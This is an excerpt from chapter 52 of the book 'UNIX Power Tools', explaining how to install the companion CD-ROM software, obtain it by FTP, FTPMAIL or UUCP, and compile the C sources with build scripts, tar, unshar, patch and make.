Install bash [y]? y

The default answer is "y", to install bash. However, if you respond instead with the string ++, bash will be installed and furthermore, all default values will be used from now on without prompting.

Install bash [y]? ++ [RETURN]
bash was compiled and made "Ready-to-Run" by
        Ready-to-Run Software, Inc.

Copyright (C) Free Software Foundation, Inc.

GNU bash is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 1, or (at your option) any
later version.

GNU bash is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
for more details.

                               ************************
Please wait....

    About To Install: bash

        at /usr3/tmp/sidh
        with shareable files at /usr3/tmp/sidh/share
        slib-lib, sbin-bin, sspool-spool, sinclude-include

Are these correct [y]? y
Proceeding with install...

14 directories added, 27 files installed, 0 symbolic links created.
Approximately 2.3Mb installed.
Notes (file, print, view, done) [view]? done

At this point, you can go to lunch and come back to find everything installed in /usr/local.

Another alternative is to call the installation script with the -D option to use the defaults. For example:

% install.pt -D

You'll still have to answer the question about your umask, and you'll have to answer "A" for "All" to the main menu, but then all packages will be installed without prompting.

Note that to run a default installation, you will need to have write permission to the default directory of /usr/local.

52.5.4 Unmounting the CD-ROM

When you are finished with the installation, you can unmount the CD-ROM with the umount command with just the mount point as the argument:

# /etc/umount /cdrom

52.5.5 What to Do if You Have Problems

If you can't get the software to install and/or run, then you can call Ready-to-Run's CD support line (52.9).

- EP

Previous: 52.4 Quick Descriptions of What's on the Disc | UNIX Power Tools | Next: 52.6 Don't Have a CD-ROM Drive?
52.4 Quick Descriptions of What's on the Disc | Book Index | 52.6 Don't Have a CD-ROM Drive?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 52] 52.6 Don't Have a CD-ROM Drive?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 52.5 Using the Power Tools CD-ROM Chapter 52
What's on the Disc 		Next: 52.7 Other Ways to Get the Software

52.6 Don't Have a CD-ROM Drive?

If you don't have a CD-ROM drive, don't despair. You can always get the software on the disc on alternate media, as described in article 52.7.

But if you don't have a CD-ROM drive, we strongly suggest that you get one. And not just for this disc-CD-ROM has become distribution method of choice, and not just for software.

To get a CD-ROM drive, the first thing we recommend is to call your UNIX system's manufacturer. You need to be sure that the drive you get is compatible with both your hardware and your operating system. Be warned that if your vendor distributes their own CD-ROM drive, it's likely that they will only recommend theirs. (If the price isn't exorbitant, that may not be such a bad idea - support may be lot easier if the hardware and software vendors are the same.)

Another approach is to call CD-ROM drive manufacturers directly and ask them whether their drive will work on your platform. This would be helpful if you intended to use the same drive on several different systems, manufactured by different vendors.

On the low end, a hundred dollars will buy a fine CD-ROM drive. On the high end ... well, the sky's the limit. As the price of the drive goes up, its speed or access time gets better. If you want to use the same drive on several different machines, you need to spend more for an external drive. And if you ever want to use the CD-ROM to boot off, you'll need one that has switches for different block sizes.

Most CD-ROM drives on the market today are geared towards the PC-DOS market. You might be able to use a PC drive on your UNIX system, but only if they support standard SCSI (Small Computer Systems Interface).

- EP, LM

Previous: 52.5 Using the Power Tools CD-ROM | UNIX Power Tools | Next: 52.7 Other Ways to Get the Software
52.5 Using the Power Tools CD-ROM | Book Index | 52.7 Other Ways to Get the Software
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 52] 52.7 Other Ways to Get the Software

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 52.6 Don't Have a CD-ROM Drive? Chapter 52
What's on the Disc 		Next: 52.8 Building Programs from Source Code

52.7 Other Ways to Get the Software

If you are unable to read the CD-ROM, here are two other sources for all or some of the software on it.

52.7.1 Alternative Media

Ready-to-Run Software can provide the Power Tools software on alternative media such as floppies, QIC, 8 mm, 4mm, or DEC TK50 tape cartridges. Obviously, some of these media are appropriate only for certain platforms.

Because of the large volume of data on the CD, each tape/floppy package is for a single platform. In addition, for the floppy distributions, source and binaries are treated as separate packages, as are the bitmaps for use with pbmplus (43.25).

For ordering instructions, please see the very last page of this book, immediately facing the envelope that contains the CD-ROM disc.

52.7.2 Online Archive

Scripts and other example files from the book are in a freely available archive on the Internet at ftp.oreilly.com. (The archive is also available on ftp.uu.net. Other computers around the Internet have copies of UUNET's archives. If you aren't in the USA, ask your network administrator whether there's a UUNET "mirror" archive in your part of the world.)

The archive doesn't have everything from the CD-ROM. We didn't include the source code for programs that must be compiled (52.8) because you can get periodically updated copies from online archives around the Internet. The executable binary files for those programs aren't in our online archive, either. Ready-to-Run Software invested a lot of time and money to build and debug them. Get those binaries from this book's CD-ROM or alternate media.

There's also a web page for this book's software on http://www.oreilly.com; look for the UNIX Power Tools page. You'll find the complete archive file, links to each script in the archive, as well as links to much of the source code. Note that the source code is unmodified, original source - not including any porting fixes that Ready-to-Run added, and not necessarily the same version that's on the CD-ROM. We hope the page is useful for you.

The online archive file is a tar archive that has been compressed with the gzip command. After you get the archive, read article 19.7 to find out how to extract the files. You can also get individual scripts and files (but not source code) from the FTP archive's subdirectory named split.

52.7.2.1 FTP

To use FTP, you need a machine with access to the Internet. The whole archive is at ftp://ftp.oreilly.com/published/oreilly/power_tools/unix//upt9707.tgz. Individual files are at ftp://ftp.oreilly.com/published/oreilly/power_tools/unix//split/. You can also use a web browser. Otherwise, use your UNIX ftp program; here's a sample session, with what you should type in boldface:

% ftp ftp.oreilly.com
Connected to ftp.oreilly.com.
220 FTP server (Version 6.21 Tue Mar 11 22:09:55 EST 1997) ready.
Name (ftp.oreilly.com:yourname): anonymous
331 Guest login ok, send domain style email address as password.
Password: yourname@domain.com (use your user name and host here)
230 Guest login ok, access restrictions apply.
ftp> cd /published/oreilly/power_tools/unix/
250 CWD command successful.
ftp> binary Very important! You must specify binary transfer for compressed files.)
200 Type set to I.
ftp> get upt9707.tgz
200 PORT command successful.
150 Opening BINARY mode data connection for upt9707.tgz.
226 Transfer complete.
ftp> quit
221 Goodbye.
%

52.7.2.2 FTPMAIL

FTPMAIL is a mail server available to anyone who can send and receive electronic mail to and from Internet sites. This includes any company or service provider that allows email connections to the Internet. You do not need to be directly on the Internet. Here's how to do it.

You send mail to ftpmail@online.oreilly.com. In the message body, give the FTP commands you want to run. The server will run anonymous FTP for you and mail the files back to you. To get a complete help file, send a message with no subject and the single word "help" in the body. The following is a sample mail session that should get you the examples. This command sends you a listing of the files in the selected directory, and the requested examples file. The listing is useful in case there's a later version of the examples you're interested in.

% mail ftpmail@online.oreilly.com
Subject:
reply yourname@domain.com  (where you want files mailed)
open
chdir /published/oreilly/power_tools/unix/
dir
binary
mime (or uuencode if you don't have MIME)
get upt9707.tgz
quit
.         (The dot is a command to send the message, not part of it)

A signature at the end of the message is acceptable as long as it appears after "quit."

All retrieved files will be split into 60KB chunks and mailed to you. If your email program handles MIME messages properly, it should let you combine the partial messages and extract the archive file. Or, if you asked for uuencoded messages, remove the mail headers, concatenate the messages into one file, and run uudecode (19.5) on it. Once you've decoded the file, read article 19.7 about extracting the files from the archive.

To get individual files from the split subdirectory, use the command chdir /published/oreilly/power_tools/unix//split. Instead of binary, use ascii. You may also be able to omit the mime (or uuencode) to get these individual files without encoding.

52.7.2.3 UUCP

The examples are available by UUCP via modem from UUNET. If you or your company has an account with UUNET, you will have a system with a direct UUCP connection to UUNET. Find that system, and type the following command on one line (it's broken onto two lines here for publishing):

uucp uunet\!~/published/oreilly/power_tools/unix//upt9707.tgz
    yourhost\!~/yourname/

The backslashes can be omitted if you use the Bourne shell (sh) instead of csh. The file should appear some time later (up to a day or more) in the directory /usr/spool/uucppublic/yourname. If you don't have an account but would like one so that you can get electronic mail, contact UUNET at 703-204-8000.

- TOR, JP

Previous: 52.6 Don't Have a CD-ROM Drive? | UNIX Power Tools | Next: 52.8 Building Programs from Source Code
52.6 Don't Have a CD-ROM Drive? | Book Index | 52.8 Building Programs from Source Code
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 52] 52.8 Building Programs from Source Code

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 52.7 Other Ways to Get the Software Chapter 52
What's on the Disc 		Next: 52.9 Software Support from RTR

52.8 Building Programs from Source Code

The programs on the disc are supplied in binary form for the most popular UNIX platforms, as listed in article 52.3. But we also supply C source code for those of you who are on unsupported platforms.

Now, don't run away. You don't have to be a C programmer to compile these sources. I've never written a C program in my life, and I compile public domain software all the time. The CD-ROM provides build scripts for each of the packages, so many of you can just run the script and have everything installed automatically.

If the build scripts don't work, the CD-ROM also has a script to copy the sources to your local hard disk. Although we can't promise that you'll be able to build the sources on your own without a hitch, this article includes some explanation of how to build sources without needing to learn how to program in C.

52.8.1 Running the Build Scripts

Before you do anything, try out the build scripts. You might be able to get away without knowing anything at all about the build process.

To build programs from source code, first mount the CD-ROM as described in article 52.5.

Each package on the CD-ROM that has source code can be compiled with the "build" script. The build script will copy the files off the CD into your current directory, compile, and install them.

As the CD-ROM is read-only, you must use a directory on some other disk for the build. For example, if you wanted to build the "compress" package, a directory called compress will be created in the current directory when the build script is run. The build script has default settings for the directory to which the source code will be copied, the directory in which the package will be installed, the directory in which the "shareable" portion of the package will be installed, and a "prefix" for the shareable directories. These settings can be overridden by the following environment variables (6.1):

SOURCEDIR

This is where the source code for the package resides on the CD-ROM. The build script tries to determine this automatically, so you should not have set SOURCEDIR unless you are using the build script somewhere other than the CD-ROM.

INSTALLDIR

This is the directory where the package will be installed. It is set to /usr/local by default. For example, to change INSTALLDIR to /opt:

% setenv INSTALLDIR /opt   csh
$ INSTALLDIR=/opt ; export INSTALLDIR   sh

INSTALLSHAREDIR

This is the directory where "shareable" portions of the package will be installed (/usr/local/share by default). You can set it to the same value as INSTALLDIR if you want them in the same location.

SHAREPREFIX

This "prefix" will be prepended to the directory names for lib, include, spool, and bin. There is no default setting, but you could use s if you wanted to conform to the same scheme used by the "install" program to name shareable directories slib, sinclude, sspool, and sbin.

By default, the files generated by the build process will not be removed. If you set the RM variable before running the build, the entire build directory will be removed once the build finishes:

% setenv RM true   csh
$ RM=true ; export RM   sh

For a list of the available packages, run the build.pt script in the CD-ROM mount directory. The actual name of the script depends on your operating system (as described in article 52.5), but assuming that the CD-ROM is mounted on /cdrom, it is likely to be one of the following commands:

% /cdrom/BUILD.PT\;1
% /cdrom/BUILD.PT
% /cdrom/build.pt\;1
% /cdrom/build.pt

The command will print a list similar to the following:

bash         bsdtar       bsplit       calen        cpmod        cvtbase
delete       diff         ediff        emacs        fgrep        fileutils
find         gawk         getopt       glimpse      grabchars    grep
   ...

To build one of these packages, run the same command followed by the package name. For example:

% /cdrom/build.pt bash

The build script will copy the package to the current directory, compile, and install the package according to the values of the environment variables. For this example, the shareable and non-shareable portions of the package are combined.

% /archive/cdrom/BUILD.PT jot
BUILD script provided by Ready-to-Run Software, Inc.
Copyright 1997 Ready-to-Run Software, Inc. All Rights Reserved.
Assuming CDROM   is mounted at /archive/cdrom
Assuming MACHINE is ALPHA
Assuming SOURCEDIR is /archive/cdrom/SOURCES
Ignore any errors about directories already existing
tools/
tools/BUGS
tools/Makefile
tools/jot.c
tools/lam.c
tools/rs.c
cc -O -o jot jot.c

52.8.1.1 Missing Programs

Some of the build scripts expect non-standard programs to be installed. Some of these come on the CD-ROM:

patch

Several packages depend on the patch (33.9) program to apply "patches" or "diffs" to source code. This is the primary method of updating source code without replacing the entire file.

perl

Perl (37.1) is a scripting language used by several packages, including the install and build scripts.

unshar

The unshar program is needed to unpack shell archive files (19.3).

uncompress

The uncompress program is needed to unpack files that have been compressed with the compress (24.7) command.

Some other utilities are not included:

gcc

The GNU (52.9) C compiler was used to compile most of the packages. You can try your system's default C compiler, but it may not work for every package.

GNU make

GNU make (28.13) was used to compile most of the packages. If you don't have it, try using your system's version.

52.8.1.2 Problems

Any number of things can go wrong with your build. You might not have the right libraries or include files installed. Your compiler may not work the way the program expects it to. You might not have the right permissions. You might run out of disk space.

These problems are so varied that there's no way we can list any generalized solutions. Try asking an administrator or programmer on your site, or try calling Ready-to-Run Software's CD support line (52.9). But we have a few tips that might help:

  • bsdtar
            If your system has problems with filenames longer than 14 characters, you may have to install bsdtar to be able to "untar" the source code. bsdtar creates unique 14-character filenames as it unpacks an archive.

  • If your system lacks the -p option (4.8) to the mkdir command, you may need to install a new version from the GNU fileutils package. The -p option is used by the installation and build scripts.

And if all else fails, you can try to delve into the source code itself. That brings us to our next section ...

52.8.2 Compiling Source Code

Compiling programs from source doesn't require you to be a C programmer, just that you understand the general procedure and that you have some common sense and luck.

Almost all UNIX binary programs are written in the C language. These programs are written in text files - the text files are referred to as the source code-and then converted to binary files using a compiler. The typical compiler on a UNIX system is called cc.

Although most people call cc a "compiler," it's really a front-end program. Unless you tell it not to, cc first runs a preprocessor. Next it runs the compiler. Then it runs the linker/loader to make the actual executable file. We'll gloss over that in this article and just say that "cc does it."

On top of cc, there's usually another front-end: almost all programs are designed to be compiled using the make program.

Although we can't prepare you for everything you might need to know to compile programs from the CD-ROM for your platform, this section should at least give you an idea of how it's supposed to work.

52.8.2.1 Copying the Sources

Before you can actually compile the sources, you need to copy the sources to your local hard disk. You can't just compile the sources directly from the CD-ROM because the CD-ROM is read-only.

The first thing you need to do is to decide where you want to install the sources, and then cd to that directory. For example, I like to build sources in a subdirectory of my home directory. Let's suppose I want to install the pcal program. I create the new directory and then cd there:

~
% mkdir ~/pcal_src
% cd ~/pcal_src

For installing the sources onto your local hard disk, the CD-ROM has a script called source.pt. Assuming that the CD-ROM is mounted on /cdrom, the script can be called using one of the following commands:

% /cdrom/SOURCE.PT\;1 package-name
% /cdrom/SOURCE.PT package-name
% /cdrom/source.pt\;1 package-name
% /cdrom/source.pt package-name

Where package-name is the name of the package that you want to install sources for. To get a listing of the files, call source.pt without any arguments:

% source.pt
SOURCE script provided by Ready-to-Run Software, Inc.
Copyright 1997 Ready-to-Run Software, Inc. All Rights Reserved.

Assuming CDROM is mounted at /archive/cdrom/
Usage: /archive/cdrom/SOURCE.PT <package
Available packages are:

     !              80cols         Clear          _emacs_ml      _enter_csh
     _enter_sh      _exit_csh      _exit_sh       addup          age_files
     ascii          awf            bash           behead         bkedit
     bsdtar         bsplit         cal_today      calen          catsaway
     center         cgrep          cgrep_sed      checksed       chmod_edit
     chunksort      cleanup        cleanup_sed    cls            cols
     count_it       count_types    cpmod          crontab        crush
     csh_init       csh_logout     cvtbase        date-month     del
     delete         diff           dir_path       dirtop         doublespace
     ediff          elookfor       emacs          exrc           fgrep
     fileutils      find           findcmd        findtext       flip
     fmt_sh         formprog       ftpfile        gawk           getmac
     getopt         glimpse        grabchars      grep           groff
     gzip           head           hey            hgrep          index
     ipl            ispell         jot            lensort        less
     lf             lndir          logerrs        longlines      look
     lookfor        ls_today       make_print     manindex       motd_diff
     namesort       netpbm         nextday        no_run         nom
     offset         oldlinks       opttest        paircheck      patch
     pcal           perl5          phone          pipegrep       pstext
     psutils        pushin         qcsh           qsubst         qterm
     rcs            rcsegrep_fast  rcsgrep        rcsrevs        recomment
     redo           relink         ren            rename         rot
     runsed         runtime        sc             screen         screensize
     script_tidy    search_el      sedman         sh_init        sh_logout
     sharutils      shellutils     showmatch      sl             sls
     smiley         squoze         stat           stree          stripper
     su             tar            tcap           tcsh           termtest
     textutils      tgrep          tknew          tm             tpipe
     tputinit       triplespace    twin           vgrep          vis
     vtree          watchq         whereiz        which          wordfreq
     xgrep          xtail          zap            zloop          zmore
     zvi

(Note that all the packages on the CD-ROM are listed here, shell scripts as well as C sources.)

In my case, I want to install pcal, so I run the following command:

% /cdrom/source.pt pcal
SOURCE script provided by Ready-to-Run Software, Inc.
Copyright 1993 Ready-to-Run Software, Inc. All Rights Reserved.

Copied /POWER_TOOLS/SOURCES/PCAL/PCAL_43.Z to pcal-4.3.tar.Z
Copied /POWER_TOOLS/SOURCES/PCAL/RS6000/PCAL to RS6000patch.pcal
Copied /POWER_TOOLS/SOURCES/PCAL/RTR/PCAL to rtrpatch.pcal
3 files copied successfully.

The source.pt script copies all the relevant files into your current directory.

52.8.2.2 Uncompressing the Sources

If you now list the directory, you'll find the files that were just copied there.

% ls
RS6000patch.pcal        pcal-4.3.tar.Z          rtrpatch.pcal

The file called pcal-4.3.tar.Z is the pcal source package, in a tarred and compressed form. The .Z suffix tells you that the file was compressed using the compress (24.7) command. You need to run uncompress first:

% uncompress pcal-4.3.tar.Z

If you don't have the uncompress command, use gunzip.

52.8.2.3 Untarring the Sources

After you have uncompressed the file, you'll see the file without the .Z suffix.

% ls
RS6000patch.pcal        pcal-4.3.tar            rtrpatch.pcal

The .tar suffix to the pcal-4.3.tar file means that the file was packed using the tar command (19.5). Again, if you don't have tar, it's on the CD-ROM.

To unpack the file, use tar with the -x option for "extract" and the -f option to specify a filename. (I also like to use -v for verbose output.) My command line might read:

% tar xvf pcal-4.3.tar
x pcal-4.3/ReadMe, 7673 bytes, 15 tape blocks
x pcal-4.3/Descrip.mms, 3713 bytes, 8 tape blocks
x pcal-4.3/Make_Pcal.com, 3090 bytes, 7 tape blocks
x pcal-4.3/Makefile, 1159 bytes, 3 tape blocks
x pcal-4.3/Makefile.Amiga, 1010 bytes, 2 tape blocks
x pcal-4.3/Makefile.DOS, 1023 bytes, 2 tape blocks
x pcal-4.3/Makefile.VMS, 2505 bytes, 5 tape blocks
x pcal-4.3/Orig.ReadMe, 984 bytes, 2 tape blocks
x pcal-4.3/Pcal.TEX, 28199 bytes, 56 tape blocks
x pcal-4.3/Pcal.hlp, 29099 bytes, 57 tape blocks
x pcal-4.3/SetUp.com, 670 bytes, 2 tape blocks
x pcal-4.3/VaxCrtl.opt, 31 bytes, 1 tape blocks
x pcal-4.3/calendar, 12101 bytes, 24 tape blocks
x pcal-4.3/exprpars.c, 8538 bytes, 17 tape blocks
x pcal-4.3/moon91, 2828 bytes, 6 tape blocks
x pcal-4.3/moon92, 2887 bytes, 6 tape blocks
x pcal-4.3/pcal.c, 46440 bytes, 91 tape blocks
x pcal-4.3/noprotos.h, 2530 bytes, 5 tape blocks
x pcal-4.3/pcalglob.h, 4551 bytes, 9 tape blocks
x pcal-4.3/pcalinit.c, 4071 bytes, 8 tape blocks
x pcal-4.3/protos.h, 4341 bytes, 9 tape blocks
x pcal-4.3/moonphas.c, 17817 bytes, 35 tape blocks
x pcal-4.3/troffman.sty, 4894 bytes, 10 tape blocks
x pcal-4.3/writefil.c, 24597 bytes, 49 tape blocks
x pcal-4.3/pcal.man, 25296 bytes, 50 tape blocks
x pcal-4.3/pcaldefs.h, 17643 bytes, 35 tape blocks
x pcal-4.3/pcalinit.ps, 14297 bytes, 28 tape blocks
x pcal-4.3/pcalutil.c, 21238 bytes, 42 tape blocks
x pcal-4.3/pcallang.h, 35465 bytes, 70 tape blocks
x pcal-4.3/readfile.c, 32888 bytes, 65 tape blocks

tar creates a subdirectory called pcal-4.3. cd to this directory to continue your build.

% cd pcal-4.3

Note that if you have the zcat command, you might have combined the steps for uncompressing and untarring the files into a single command line, as shown in article 19.7:

% zcat pcal-4.3.tar.Z | tar xvf -

If you are on a System V-based system, you may have to use tar with the -o option (19.7) to make sure that you get ownership of the files.

52.8.2.4 Unsharring the Sources

Before we go on, let's back up a bit. Some packages aren't stored as tar archives, but as shar archives (19.2). shar archives are generally distributed in multiple files, under names such as part01.Z, part02.Z, etc. The qterm source package is an example of a package that is distributed as shar files.

% mkdir ~/qterm_src
% cd ~/qterm_src
% /cdrom/source.pt qterm
% /archive/cdrom/SOURCE.PT qterm
SOURCE script provided by Ready-to-Run Software, Inc.
Copyright 1997 Ready-to-Run Software, Inc. All Rights Reserved.

Assuming CDROM is mounted at /archive/cdrom/
Copied /archive/cdrom//SOURCES/QTERM/PART01.Z to part01.Z
Copied /archive/cdrom//SOURCES/QTERM/PART02.Z to part02.Z
Copied /archive/cdrom//SOURCES/QTERM/RS6000/QTERM to RS6000patch.qterm
Copied /archive/cdrom//SOURCES/QTERM/I386/QTERM to i386patch.qterm
Copied /archive/cdrom//SOURCES/QTERM/SUN4C/QTERM to sun4cpatch.qterm
Copied /archive/cdrom//SOURCES/QTERM/HP700/QTERM to hp700patch.qterm
Copied /archive/cdrom//SOURCES/QTERM/LINUX/QTERM to linuxpatch.qterm
Copied /archive/cdrom//SOURCES/QTERM/SSOL2/QTERM to SSol2patch.qterm
Copied /archive/cdrom//SOURCES/QTERM/RTR/QTERM to rtrpatch.qterm
9 file(s) copied successfully.

To extract the qterm sources, uncompress the "part" files and then use the unshar program to unpack them.

?

% uncompress part0?.Z
% unshar part0?
unshar:  Sending header to part01.hdr.
unshar:  Doing part01:
If this archive is complete, you will see the following message:
          "shar: End of archive 1 (of 2)."
shar: Extracting "README" (2200 characters)
shar: Extracting "options.3" (7383 characters)
shar: Extracting "options.c" (10901 characters)
shar: Extracting "options.h" (2592 characters)
shar: Extracting "qterm.c" (24777 characters)
shar: End of archive 1 (of 2).

You still must unpack the following archives:
         2
unshar:  Sending header to part02.hdr.
unshar:  Doing part02:
If this archive is complete, you will see the following message:
          "shar: End of archive 2 (of 2)."
shar: Extracting "Makefile" (1908 characters)
shar: Extracting "qterm.1" (5805 characters)
shar: Extracting "qterm.h" (3281 characters)
shar: Extracting "qtermtab" (3311 characters)
shar: End of archive 2 (of 2).
You have unpacked both archives.

If you don't have shar and unshar, it's on the CD-ROM; but the true beauty of shar archives is that you can always remove any headers and footers from the file and use the Bourne shell (sh) to unpack the files.

To edit out the header, remove any lines at the top of the file that don't resemble Bourne shell syntax. Since many shar archives are distributed in email or in newsgroups, the files might include the header of a mail message or news posting. The author might also precede the actual shar archive with some explanation of what the program does. A good bet is to look for a line reading #!/bin/sh and remove all lines preceding it. Even better, most shell archives contain directions right in the file:

(text .... )

#! /bin/sh
# This is a shell archive.  Remove anything before this line,
# then feed it into a shell via "sh file" or similar.
# To overwrite existing files, type "sh file -c".

To remove the footer, look for anything resembling a user's mail signature. (shar archives usually have an exit message at the end, so editing out the footer isn't always needed ... but it doesn't hurt.)

After editing out the header and footer, just run the files through sh individually:

% vi part0?
   edit out headers
% sh part01; sh part02
   ...

Note that it's especially important to install and unpack shar archives in discrete, well-named directories (such as qterm_src, in this case). Since shar files are almost always given generic names of part01, part02, etc., it's easy to overwrite files or to get confused if you accidentally unpack more than one package in the same directory.

52.8.2.5 Applying Patches

When I copied the pcal sources using the source.pt shell script, I also got two patch files (33.9): rtrpatch.pcal and RS6000patch.pcal. These are patches prepared by Ready-to-Run Software for compiling the pcal package.

The RS6000patch.pcal file is a patch for compilng on IBM's RS6000 platform. If you aren't on a RS6000, then you probably don't need this file. When building other packages, you might see other platform-specific patch files, with prefixes like i386, xenix, hp700, sun3, sun4, etc. Naturally, you shouldn't use these packages if you aren't on one of these platforms.

The rtrpatch.pcal file is a general-purpose patch for all platforms. You should apply this patch for all platforms.

Before you apply any of Ready-to-Run's patches, you should first make sure that there aren't any patch files in the untarred source directory. If the sources did come with patch files, they would have to be applied before Ready-to-Run's. In the pcal-4.3 directory, list the directory contents:

% ls -aF
./              Makefile.VMS    calendar        pcal.man        protos.h
../             Orig.ReadMe     exprpars.c      pcaldefs.h      readfile.c
Descrip.mms     Pcal.TEX        moon91          pcalglob.h      troffman.sty
Make_Pcal.com   Pcal.hlp        moon92          pcalinit.c      writefil.c
Makefile        ReadMe          moonphas.c      pcalinit.ps
Makefile.Amiga  SetUp.com       noprotos.h      pcallang.h
Makefile.DOS    VaxCrtl.opt     pcal.c          pcalutil.c

A patch file generally has the string patch or pch in it. There are no patch files in this directory. Now that I'm sure that there aren't any other patches, I run the patch command. (Naturally, if you don't already have patch, you can get its sources off the CD-ROM.) To run patch, make sure you're in the source directory (in this case, the pcal-4.3 subdirectory created when I ran tar). Then run patch, taking input from the patch file in the parent directory:

< ../

% patch < ../rtrpatch.pcal
Hmm...  Looks like a new-style context diff to me...
The text leading up to this was:
--------------------------------
|*** Makefile.orig      Tue Dec 17 05:34:19 1991
|-- Makefile   Mon Nov 23 05:59:49 1992
--------------------------------
Patching file Makefile using Plan A...
Hunk #1 succeeded at 5.
Hunk #2 succeeded at 46.
done

The patch is now applied.

52.8.2.6 An Easy Build

Up to now, all we've been doing is just getting the source tree together. Now we're up to the part where we actually build the package.

First of all, if there's any universal rule about compiling sources, it's:

If there's a file called README, read it!

README files often contain esoteric details about the history of the program and what improvements could be made, etc. But they might also contain details about how to build the package. Reading a README can save you hours of frustration trying to figure out what to tweak to make the program build on your platform.

Another file to look for is one called Configure. Configure is a shell script that tries to figure out what sort of platform you're on and how to build the package for you, and it's remarkably effective. The sources for perl and patch both come with Configure scripts.

pcal doesn't come with a README or with a Configure script. But it does come with a file called Makefile. (Actually, it comes with several Makefiles, for different platforms - but the default Makefile is the one for UNIX systems, which is what you want.) The Makefile is used by the make program (28.13). There have been entire books written about make, but if you're lucky, all you need to know about it is that if you see a Makefile, then all you need to compile a program is to type make.

First, though, scan through the Makefile to see if there are any comments there. You might have to make some changes in the Makefile to configure it for your system. For example, the qterm Makefile has the following very helpful lines:

#
# Add "-DUSG5" to DEFS below, if your system is UNIX System V.
# Add "-DHAS_VARARGS" if your system supports varargs.
# Add "-DOPT_COMPAT" to support old command line options.
#
DEFS    = -DTABFILE=\"$(TABFILE)\" -DOPT_COMPAT

You probably know whether your system is System V-based or not. If you never used this program before, you probably don't care about old command line options. And if you don't know what varargs are or whether your system supports it ... try seeing if there's a manpage (50.1) for it. (You might even find out what it is!)

% man varargs

VARARGS(3)             C LIBRARY FUNCTIONS             VARARGS(3)

NAME
     varargs - handle variable argument list

SYNOPSIS
     #include <varargs.h>
   ...

What do you know, I have varargs. So I add the -DHAS_VARARGS command-line option to the DEFS= line:

DEFS    = -DTABFILE=\"$(TABFILE)\" -DOPT_COMPAT -DHAS_VARARGS

The pcal Makefile, on the other hand, only includes a single line of instruction towards the top:

# Set the configuration variables below to taste.

This isn't particularly helpful, but scan the Makefile anyway for anything obviously wrong. When you're satisfied, just cross your fingers and run make:

% make
/bin/cc   -c pcal.c
/bin/cc   -c exprpars.c
/bin/cc   -c moonphas.c
/bin/cc   -c pcalutil.c
/bin/cc   -c readfile.c
/bin/cc    -o pcalinit pcalinit.c
pcalinit pcalinit.ps pcalinit.h
/bin/cc   -c writefil.c
/bin/cc  -o pcal pcal.o exprpars.o moonphas.o pcalutil.o readfile.o
writefil.o -lm

There were no error or warning messages, so you're fine. Errors mean that the program package probably didn't build completely; you'll have to find the cause and fix them. If there were warnings, the programs may not work right or have a subtle flaw. For a program like a spreadsheet, where hidden flaws can be a disaster, you'd better find out what the warnings mean and fix them. Otherwise, just cross your fingers some more and see if the program works.

When you list the pcal source directory now, you should see several new files with a .o suffix, but the most important thing is that the pcal executable is now built and ready to be installed on your system.

% ls -aF
./              Orig.ReadMe     moon91          pcaldefs.h      protos.h
../             Pcal.TEX        moon92          pcalglob.h      readfile.c
Descrip.mms     Pcal.hlp        moonphas.c      pcalinit*       readfile.o
Make_Pcal.com   ReadMe          moonphas.o      pcalinit.c      troffman.sty
Makefile        SetUp.com       noprotos.h      pcalinit.h      writefil.c
Makefile.Amiga  VaxCrtl.opt     pcal*           pcalinit.ps     writefil.o
Makefile.DOS    calendar        pcal.c          pcallang.h
Makefile.VMS    exprpars.c      pcal.man        pcalutil.c
Makefile.orig   exprpars.o      pcal.o          pcalutil.o

You can now try out the program, and once you're sure it works, install it. To install the program, many Makefiles provide an install target.

% make install

On many machines, you'll need to be logged in as root to be able to install the binary and manpage system-wide. If so, it might be a good idea to run make with the -n option first. The -n option says to just show what commands would be executed without actually executing them.

% make -n install

Or if you prefer to just install the program by hand, just move the executable and the manpage to the right directories (be sure to rename the manpage as appropriate):

% mv pcal /usr/local/bin
% mv pcal.man /usr/local/man/man1/pcal.1

Note, however, that some programs may have extra steps in installing the executable. If all this worked as advertised, you can bail out now. Otherwise, you might need to know more about what goes on behind the scenes before you can figure out what went wrong.

52.8.2.7 Functions, Libraries, and Header Files

To understand the compilation process, it helps to understand a little about libraries and header files.

C programs are written almost entirely using functions. Article 15.3 shows an example of a function defined in the Bourne shell programming language. C language functions are basically the same idea: group together a series of commands, give them a name, and then you can execute those commands using that name whenever you want and as many times as you want. Functions are also sometimes referred to as subroutines, library functions, or just routines.

Now, you can define C functions in the same source file. But the operating system also provides a vast collection of function definitions - which is very nice, because otherwise you'd be building every program from scratch. The function definitions are kept in libraries, which are generally installed on your system in /usr/lib/ with a lib prefix and a .a suffix (for example, /usr/lib/libc.a).

Functions also have to be declared in the program. Function declarations are kept in header or include files, which are generally installed on your system in /usr/include/ with .h suffixes (for example, /usr/include/stdio.h).

If you use functions that are defined in libraries (and you most definitely will), you need to make sure that when the program is compiled, it is linked to the libraries it needs. You also have to make sure that the proper header files are read by your program, since the program won't compile unless all functions have been declared.

For example, if you need to take the square root of a number in your program, you need to use the sqrt() function. This function resides in the Math library. This means that you need to link the program with libm.a and you need to read in the math.h header file (which declares sqrt()). So in the program, you need to have the following line near the top of the source file:

#include <math.h>

and when you compile the program, you need to use the -l (lowercase L) command-line option to link with libm:

% cc -o file file.c -lm

Note the following facts:

  • Unless you name the executable file with -o file, cc will name it a.out.

  • The source filename must end with a .c suffix.

  • Since math.h lives in /usr/include, you don't need to give its absolute pathname on the #include line, just put the name of the header file between angle brackets as shown. Relative pathnames (14.2) starting at /usr/include can be used in angle brackets. For instance, <sys/foo.h> means /usr/include/sys/foo.h.

